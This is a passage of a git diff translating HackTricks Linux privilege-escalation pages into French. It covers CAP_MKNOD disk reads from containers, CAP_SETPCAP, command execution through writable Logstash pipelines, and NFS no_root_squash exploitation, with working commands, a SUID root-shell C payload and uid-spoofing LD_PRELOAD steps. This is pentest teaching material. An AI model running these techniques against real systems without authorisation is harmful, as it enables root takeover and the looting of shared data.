([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)). +C'est une capacité par défaut ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)). -This capability permits to do privilege escalations (through full disk read) on the host, under these conditions: +Cette capacité permet des élévations de privilèges (via une lecture complète du disque) sur l'hôte, dans ces conditions : -1. Have initial access to the host (Unprivileged). -2. Have initial access to the container (Privileged (EUID 0), and effective `CAP_MKNOD`). -3. Host and container should share the same user namespace. +1. Avoir un accès initial à l'hôte (non privilégié). +2. Avoir un accès initial au conteneur (privilégié (EUID 0) et `CAP_MKNOD` effectif). +3. L'hôte et le conteneur doivent partager le même espace de noms utilisateur. -**Steps :** - -1. On the host, as a standard user: - 1. Get the current UID (`id`). For example: `uid=1000(unprivileged)`. - 2. Get the device you want to read. For exemple: `/dev/sda` -2. On the container, as `root`: +**Étapes :** +1. Sur l'hôte, en tant qu'utilisateur standard : + 1. Obtenir l'UID actuel (`id`). Par exemple : `uid=1000(non privilégié)`. + 2. Obtenir le périphérique que vous voulez lire. Par exemple : `/dev/sda` +2. Dans le conteneur, en tant que `root` : ```bash # Create a new block special file matching the host device mknod /dev/sda b @@ -1649,9 +1567,7 @@ useradd -u 1000 unprivileged # Login with that user su unprivileged ``` - -1. Back on the host: - +1. De retour sur l'hôte : ```bash # Find the PID linked to the container owns by the user "unprivileged" # Example only (Depends on the shell program, etc.). Here: PID=18802. @@ -1663,26 +1579,25 @@ unprivileged 18802 0.0 0.0 1712 4 pts/0 S+ 15:27 0:00 /bin # Because of user namespace sharing, the unprivileged user have access to the container filesystem, and so the created block special file pointing on /dev/sda head /proc/18802/root/dev/sda ``` - -The attacker can now read, dump, copy the device /dev/sda from unprivileged user. +L'attaquant peut maintenant lire, copier et décharger le périphérique /dev/sda à partir d'un utilisateur non privilégié. ### CAP\_SETPCAP -**`CAP_SETPCAP`** is a Linux capability that allows a process to **modify the capability sets of another process**. It grants the ability to add or remove capabilities from the effective, inheritable, and permitted capability sets of other processes. However, there are certain restrictions on how this capability can be used. +**`CAP_SETPCAP`** est une capacité Linux qui permet à un processus de **modifier les ensembles de capacités d'un autre processus**. Elle accorde la possibilité d'ajouter ou de supprimer des capacités des ensembles de capacités effectives, héritables et autorisées d'autres processus. Cependant, il existe certaines restrictions quant à la manière dont cette capacité peut être utilisée. -A process with `CAP_SETPCAP` **can only grant or remove capabilities that are in its own permitted capability set**. In other words, a process cannot grant a capability to another process if it does not have that capability itself. This restriction prevents a process from elevating the privileges of another process beyond its own level of privilege. +Un processus avec `CAP_SETPCAP` **ne peut accorder ou supprimer que des capacités qui se trouvent dans son propre ensemble de capacités autorisées**. En d'autres termes, un processus ne peut pas accorder une capacité à un autre processus s'il ne possède pas cette capacité lui-même. Cette restriction empêche un processus d'élever les privilèges d'un autre processus au-delà de son propre niveau de privilège. -Moreover, in recent kernel versions, the `CAP_SETPCAP` capability has been **further restricted**. It no longer allows a process to arbitrarily modify the capability sets of other processes. Instead, it **only allows a process to lower the capabilities in its own permitted capability set or the permitted capability set of its descendants**. This change was introduced to reduce potential security risks associated with the capability. +De plus, dans les versions récentes du noyau, la capacité `CAP_SETPCAP` a été **encore plus restreinte**. Elle ne permet plus à un processus de modifier arbitrairement les ensembles de capacités d'autres processus. Au lieu de cela, elle **ne permet qu'à un processus de réduire les capacités dans son propre ensemble de capacités autorisées ou dans l'ensemble de capacités autorisées de ses descendants**. Cette modification a été introduite pour réduire les risques potentiels de sécurité associés à la capacité. -To use `CAP_SETPCAP` effectively, you need to have the capability in your effective capability set and the target capabilities in your permitted capability set. You can then use the `capset()` system call to modify the capability sets of other processes. +Pour utiliser `CAP_SETPCAP` efficacement, vous devez avoir la capacité dans votre ensemble de capacités effectives et les capacités cibles dans votre ensemble de capacités autorisées. Vous pouvez ensuite utiliser l'appel système `capset()` pour modifier les ensembles de capacités d'autres processus. -In summary, `CAP_SETPCAP` allows a process to modify the capability sets of other processes, but it cannot grant capabilities that it doesn't have itself. Additionally, due to security concerns, its functionality has been limited in recent kernel versions to only allow reducing capabilities in its own permitted capability set or the permitted capability sets of its descendants. +En résumé, `CAP_SETPCAP` permet à un processus de modifier les ensembles de capacités d'autres processus, mais il ne peut pas accorder de capacités qu'il ne possède pas lui-même. De plus, en raison de problèmes de sécurité, sa fonctionnalité a été limitée dans les versions récentes du noyau pour ne permettre que la réduction des capacités dans son propre ensemble de capacités autorisées ou dans l'ensemble de capacités autorisées de ses descendants. -## References +## Références -**Most of these examples were taken from some labs of** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), so if you want to practice this privesc techniques I recommend these labs. +**La plupart de ces exemples ont été tirés de certains laboratoires de** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), donc si vous voulez pratiquer ces techniques de privilège, je recommande ces laboratoires. -**Other references**: +**Autres références**: * [https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux](https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux) * [https://www.schutzwerk.com/en/43/posts/linux\_container\_capabilities/#:\~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.](https://www.schutzwerk.com/en/43/posts/linux\_container\_capabilities/) @@ -1695,7 +1610,7 @@ In summary, `CAP_SETPCAP` allows a process to modify the capability sets of othe
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. {% embed url="https://www.rootedcon.com/" %} @@ -1703,10 +1618,10 @@ In summary, `CAP_SETPCAP` allows a process to modify the capability sets of othe ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/linux-hardening/privilege-escalation/logstash.md b/linux-hardening/privilege-escalation/logstash.md index d45ac92d3..f9f3fe681 100644 --- a/linux-hardening/privilege-escalation/logstash.md +++ b/linux-hardening/privilege-escalation/logstash.md @@ -1,30 +1,27 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-# Basic Information +# Informations de base -Logstash is used for collecting, transforming and outputting logs. This is realized by using **pipelines**, which contain input, filter and output modules. The service gets interesting when having compromised a machine which is running Logstash as a service. +Logstash est utilisé pour collecter, transformer et émettre des journaux. Cela est réalisé en utilisant des **pipelines**, qui contiennent des modules d'entrée, de filtre et de sortie. Le service devient intéressant lorsqu'on a compromis une machine qui exécute Logstash en tant que service. ## Pipelines -The pipeline configuration file **/etc/logstash/pipelines.yml** specifies the locations of active pipelines: - +Le fichier de configuration de pipeline **/etc/logstash/pipelines.yml** spécifie les emplacements des pipelines actifs : ```bash # This file is where you define your pipelines. You can define multiple. # For more information on multiple pipelines, see the documentation: @@ -36,25 +33,23 @@ The pipeline configuration file **/etc/logstash/pipelines.yml** specifies the lo path.config: "/usr/share/logstash/pipeline/1*.conf" pipeline.workers: 6 ``` +Ici, vous pouvez trouver les chemins d'accès aux fichiers **.conf**, qui contiennent les pipelines configurés. Si le module de sortie **Elasticsearch** est utilisé, les **pipelines** contiennent probablement des **informations d'identification** valides pour une instance Elasticsearch. Ces informations d'identification ont souvent plus de privilèges, car Logstash doit écrire des données dans Elasticsearch. Si des caractères génériques sont utilisés, Logstash essaie d'exécuter tous les pipelines situés dans ce dossier correspondant au caractère générique. -In here you can find the paths to the **.conf** files, which contain the configured pipelines. If the **Elasticsearch output module** is used, **pipelines** are likely to **contain** valid **credentials** for an Elasticsearch instance. Those credentials have often more privileges, since Logstash has to write data to Elasticsearch. If wildcards are used, Logstash tries to run all pipelines located in that folder matching the wildcard. +## Privilège d'escalade avec des pipelines modifiables -## Privesc with writable pipelines +Avant d'essayer d'élever vos propres privilèges, vous devez vérifier quel utilisateur exécute le service logstash, car ce sera l'utilisateur que vous posséderez par la suite. Par défaut, le service logstash s'exécute avec les privilèges de l'utilisateur **logstash**. -Before trying to elevate your own privileges you should check which user is running the logstash service, since this will be the user, you will be owning afterwards. Per default the logstash service runs with the privileges of the **logstash** user. +Vérifiez si vous avez **l'un** des droits requis : -Check whether you have **one** of the required rights: +* Vous avez des **permissions d'écriture** sur un fichier **.conf** de pipeline **ou** +* **/etc/logstash/pipelines.yml** contient un caractère générique et vous êtes autorisé à écrire dans le dossier spécifié -* You have **write permissions** on a pipeline **.conf** file **or** -* **/etc/logstash/pipelines.yml** contains a wildcard and you are allowed to write into the specified folder +De plus, **l'une** des exigences suivantes doit être remplie : -Further **one** of the requirements must be met: - -* You are able to restart the logstash service **or** -* **/etc/logstash/logstash.yml** contains the entry **config.reload.automatic: true** - -If a wildcard is specified, try to create a file matching that wildcard. Following content can be written into the file to execute commands: +* Vous êtes en mesure de redémarrer le service logstash **ou** +* **/etc/logstash/logstash.yml** contient l'entrée **config.reload.automatic: true** +Si un caractère générique est spécifié, essayez de créer un fichier correspondant à ce caractère générique. Le contenu suivant peut être écrit dans le fichier pour exécuter des commandes : ```bash input { exec { @@ -70,14 +65,13 @@ output { } } ``` +L'**intervalle** spécifie le temps en secondes. Dans cet exemple, la commande **whoami** est exécutée toutes les 120 secondes. La sortie de la commande est enregistrée dans **/tmp/output.log**. -The **interval** specifies the time in seconds. In this example the **whoami** command is executed every 120 seconds. The output of the command is saved into **/tmp/output.log**. +Si **/etc/logstash/logstash.yml** contient l'entrée **config.reload.automatic: true**, vous n'avez qu'à attendre que la commande soit exécutée, car Logstash reconnaîtra automatiquement les nouveaux fichiers de configuration de pipeline ou toute modification des configurations de pipeline existantes. Sinon, déclenchez un redémarrage du service logstash. -If **/etc/logstash/logstash.yml** contains the entry **config.reload.automatic: true** you only have to wait until the command gets executed, since Logstash will automatically recognize new pipeline configuration files or any changes in existing pipeline configurations. Otherwise trigger a restart of the logstash service. +Si aucun joker n'est utilisé, vous pouvez appliquer ces modifications à une configuration de pipeline existante. **Assurez-vous de ne rien casser !** -If no wildcard is used, you can apply those changes to an existing pipeline configuration. **Make sure you do not break things!** - -# References +# Références * [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/) @@ -86,16 +80,14 @@ If no wildcard is used, you can apply those changes to an existing pipeline conf ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au repo [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. - - diff --git a/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index 9bc33f583..260c5d9a7 100644 --- a/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -1,36 +1,33 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-Read the _ **/etc/exports** _ file, if you find some directory that is configured as **no\_root\_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the local **root** of the machine. +Lisez le fichier _ **/etc/exports** _, si vous trouvez un répertoire configuré comme **no\_root\_squash**, alors vous pouvez **y accéder** depuis **un client** et **écrire à l'intérieur** de ce répertoire **comme** si vous étiez le **root** local de la machine. -**no\_root\_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications. +**no\_root\_squash**: Cette option donne essentiellement l'autorité à l'utilisateur root sur le client pour accéder aux fichiers sur le serveur NFS en tant que root. Et cela peut entraîner de graves implications en matière de sécurité. -**no\_all\_squash:** This is similar to **no\_root\_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no\_all\_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user. +**no\_all\_squash:** C'est similaire à l'option **no\_root\_squash** mais s'applique aux **utilisateurs non root**. Imaginez, vous avez un shell en tant qu'utilisateur nobody ; vérifiez le fichier /etc/exports ; l'option no\_all\_squash est présente ; vérifiez le fichier /etc/passwd ; émulez un utilisateur non root ; créez un fichier suid en tant que cet utilisateur (en montant en utilisant nfs). Exécutez le suid en tant qu'utilisateur nobody et devenez un utilisateur différent. -# Privilege Escalation +# Élévation de privilèges -## Remote Exploit +## Exploitation à distance -If you have found this vulnerability, you can exploit it: - -* **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder the **/bin/bash** binary and giving it **SUID** rights, and **executing from the victim** machine that bash binary. +Si vous avez trouvé cette vulnérabilité, vous pouvez l'exploiter : +* **Monter ce répertoire** sur une machine cliente, et **copier en tant que root** à l'intérieur du dossier monté le binaire **/bin/bash** et lui donner des droits **SUID**, et **exécuter depuis la machine victime** ce binaire bash. ```bash #Attacker, as root user mkdir /tmp/pe @@ -43,9 +40,7 @@ chmod +s bash cd ./bash -p #ROOT shell ``` - -* **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it **SUID** rights, and **execute from the victim** machine that binary (you can find here some[ C SUID payloads](payloads-to-execute.md#c)). - +* **Monter ce répertoire** sur une machine cliente, et **en tant que root copier** à l'intérieur du dossier monté notre charge utile compilée qui exploitera la permission SUID, lui donnera des droits SUID, et **exécutera depuis la machine victime** ce binaire (vous pouvez trouver ici quelques [charges utiles C SUID](payloads-to-execute.md#c)). ```bash #Attacker, as root user gcc payload.c -o payload @@ -59,77 +54,65 @@ chmod +s payload cd ./payload #ROOT shell ``` - -## Local Exploit +## Exploitation locale {% hint style="info" %} -Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\ -The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit** and you will need to **abuse this trick**.\ -Another required requirement for the exploit to work is that **the export inside `/etc/export`** **must be using the `insecure` flag**.\ -\--_I'm not sure that if `/etc/export` is indicating an IP address this trick will work_-- +Notez que si vous pouvez créer un **tunnel de votre machine à la machine victime, vous pouvez toujours utiliser la version à distance pour exploiter cette élévation de privilèges en tunnelisant les ports requis**.\ +Le tour suivant est dans le cas où le fichier `/etc/exports` **indique une adresse IP**. Dans ce cas, vous ne pourrez **en aucun cas utiliser l'exploit à distance** et vous devrez **abuser de cette astuce**.\ +Une autre exigence requise pour que l'exploit fonctionne est que **l'exportation à l'intérieur de `/etc/export` doit utiliser le drapeau `insecure`**.\ +\--_Je ne suis pas sûr que si `/etc/export` indique une adresse IP, cette astuce fonctionnera_-- {% endhint %} -**Trick copied from** [**https://www.errno.fr/nfs\_privesc.html**](https://www.errno.fr/nfs\_privesc.html) +**Astuce copiée de** [**https://www.errno.fr/nfs\_privesc.html**](https://www.errno.fr/nfs\_privesc.html) -Now, let’s assume that the share server still runs `no_root_squash` but there is something preventing us from mounting the share on our pentest machine. This would happen if the `/etc/exports` has an explicit list of IP addresses allowed to mount the share. - -Listing the shares now shows that only the machine we’re trying to privesc on is allowed to mount it: +Maintenant, supposons que le serveur de partage exécute toujours `no_root_squash`, mais qu'il y a quelque chose qui nous empêche de monter la partage sur notre machine de test de pénétration. Cela se produirait si le fichier `/etc/exports` a une liste explicite d'adresses IP autorisées à monter la partage. +La liste des partages montre maintenant que seule la machine sur laquelle nous essayons de faire une élévation de privilèges est autorisée à le monter : ``` [root@pentest]# showmount -e nfs-server Export list for nfs-server: /nfs_root machine ``` +Cela signifie que nous sommes bloqués pour exploiter la part montée sur la machine localement à partir d'un utilisateur non privilégié. Mais il se trouve qu'il existe une autre faille locale moins connue. -This means that we’re stuck exploiting the mounted share on the machine locally from an unprivileged user. But it just so happens that there is another, lesser known local exploit. +Cette faille repose sur un problème dans la spécification NFSv3 qui stipule que c'est au client d'annoncer son uid/gid lorsqu'il accède à la part. Ainsi, il est possible de falsifier l'uid/gid en forgeant les appels RPC NFS si la part est déjà montée ! -This exploit relies on a problem in the NFSv3 specification that mandates that it’s up to the client to advertise its uid/gid when accessing the share. Thus it’s possible to fake the uid/gid by forging the NFS RPC calls if the share is already mounted! +Voici une [bibliothèque qui vous permet de le faire](https://github.com/sahlberg/libnfs). -Here’s a [library that lets you do just that](https://github.com/sahlberg/libnfs). - -### Compiling the example - -Depending on your kernel, you might need to adapt the example. In my case I had to comment out the fallocate syscalls. +### Compilation de l'exemple +En fonction de votre noyau, vous devrez peut-être adapter l'exemple. Dans mon cas, j'ai dû commenter les appels système fallocate. ```bash ./bootstrap ./configure make gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/ ``` +### Exploitation en utilisant la bibliothèque -### Exploiting using the library - -Let’s use the simplest of exploits: - +Utilisons la plus simple des exploitations : ```bash cat pwn.c int main(void){setreuid(0,0); system("/bin/bash"); return 0;} gcc pwn.c -o a.out ``` - -Place our exploit on the share and make it suid root by faking our uid in the RPC calls: - +Placez notre exploit sur le partage et rendez-le suid root en falsifiant notre uid dans les appels RPC : ``` LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out ``` - -All that’s left is to launch it: - +Tout ce qu'il reste à faire est de le lancer: ``` [w3user@machine libnfs]$ /mnt/share/a.out [root@machine libnfs]# ``` - -There we are, local root privilege escalation! +Nous y sommes, l'élévation de privilèges root locale ! ## Bonus NFShell -Once local root on the machine, I wanted to loot the NFS share for possible secrets that would let me pivot. But there were many users of the share all with their own uids that I couldn’t read despite being root because of the uid mismatch. I didn’t want to leave obvious traces such as a chown -R, so I rolled a little snippet to set my uid prior to running the desired shell command: - +Une fois en root local sur la machine, j'ai voulu piller la partage NFS pour trouver des secrets qui me permettraient de pivoter. Mais il y avait de nombreux utilisateurs du partage, chacun avec son propre UID que je ne pouvais pas lire malgré le fait d'être en root en raison de la non-correspondance des UID. Je ne voulais pas laisser de traces évidentes telles qu'un chown -R, alors j'ai écrit un petit extrait de code pour définir mon UID avant d'exécuter la commande shell souhaitée : ```python #!/usr/bin/env python import sys @@ -147,9 +130,7 @@ uid = get_file_uid(filepath) os.setreuid(uid, uid) os.system(' '.join(sys.argv[1:])) ``` - -You can then run most commands as you normally would by prefixing them with the script: - +Vous pouvez ensuite exécuter la plupart des commandes comme vous le feriez normalement en les préfixant avec le script : ``` [root@machine .tmp]# ll ./mount/ drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old @@ -161,22 +142,18 @@ drwxr-x--- 4 1008 1009 1024 Apr 5 2017 conf drwx------ 15 1008 1009 1024 Apr 5 2017 data drwxr-x--- 2 1008 1009 1024 Apr 5 2017 install ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks 